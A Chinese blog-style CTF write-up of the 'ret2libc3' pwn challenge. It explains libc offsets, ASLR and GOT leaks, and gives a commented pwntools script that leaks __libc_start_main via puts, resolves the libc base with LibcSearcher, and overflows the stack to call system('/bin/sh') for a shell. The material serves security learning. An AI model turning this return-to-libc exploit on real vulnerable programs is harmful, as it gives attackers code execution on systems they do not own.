Wiki-ret2libc3

0x 00 前言

因为libc3里面没有自带的system函数,我的水平又比较低,之前的kali里面没有更新libc-database,导致以为是自己的kali系统的问题,所以一直就没有学这方面的内容,这次更新了ubuntu中的libc-database,从而使得这方面的题目可以正常运行了,所以就来学习了,我觉得正常的比赛中也是不常有带有system函数的,故打算写出来以加深印象。这周再学习一个方面的CTF,然后就打算把课程里的东西阶段性地复习一下,,组成原理对于我这个不擅长算的人实在是太难了.....

0x10 ida查看

在ida中并没有发现有system函数的影子,也没有发现bin字符串。这就需要用到libc里面的东西了。

0x20 libc解释

libc里面的函数有很多,system函数就属于libc,我甚至在libc里面发现了快排函数....

0x 21 libc特点:
  • libc.so 动态链接库中的函数之间相对偏移是固定的。 也就是说有: A真实地址-A的偏移地址 = B真实地址-B的偏移地址 = 基地址
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

所谓延迟绑定,就是说,在使用某一个函数的第一次时才会进行绑定( 符号查找、重定位等) ,这样以来,用不到的函数就不会进行绑定便会减少程序的加载时间。

而这个题目中,我们可以从下图中看到,已经执行过的函数有puts,则我们便可以泄漏(获取)puts函数在got表中的位置

如果我们已经知道了libc的版本,那么我们也可以使用dump命令得到libc里面的主要信息,如system和str_bin_sh。

0x30 exp分析

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')#load local file

ret2libc3 = ELF('./ret2libc3')#加载ELF文件以查询一些函数地址

puts_plt = ret2libc3.plt['puts']#puts的地址
libc_start_main_got = ret2libc3.got['__libc_start_main']#puts函数的参数
main = ret2libc3.symbols['main']#puts函数的返回地址,以便第二次执行payload

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])#这一段的意思就是先填充112个数据至栈,然后到达返回地址,此时返回地址为puts函数的地址,main为puts函数执行完毕后的返回地址,_main是参数,也就是说,这一次payload执行时:先输出_main的地址,然后再次返回至main处以便下一次执行payload
sh.sendlineafter('Can you find it !?', payload)#发送payload的同时执行了puts函数,并输出了_main的相对地址。

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])#因低三位是不变化的,那么我们便可以使用一个变量来接受低三位。
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)#使用LibcSearcher来在libc-database中查找对应的libc,这里的第一个参数应该与第二个参数的低三位所对应的函数相匹配。
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
#  基地址        main的真实地址               main的偏移地址
system_addr = libcbase + libc.dump('system')#查找system在libc里的真实地址
binsh_addr = libcbase + libc.dump('str_bin_sh')#查找binsh的地址

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])#继续填充栈,然后将返回地址改为system函数,system的参数为bin,0xdeadbeef为一个无效返回地址(因为返回到哪里已经无所谓了。)
sh.sendline(payload)

sh.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值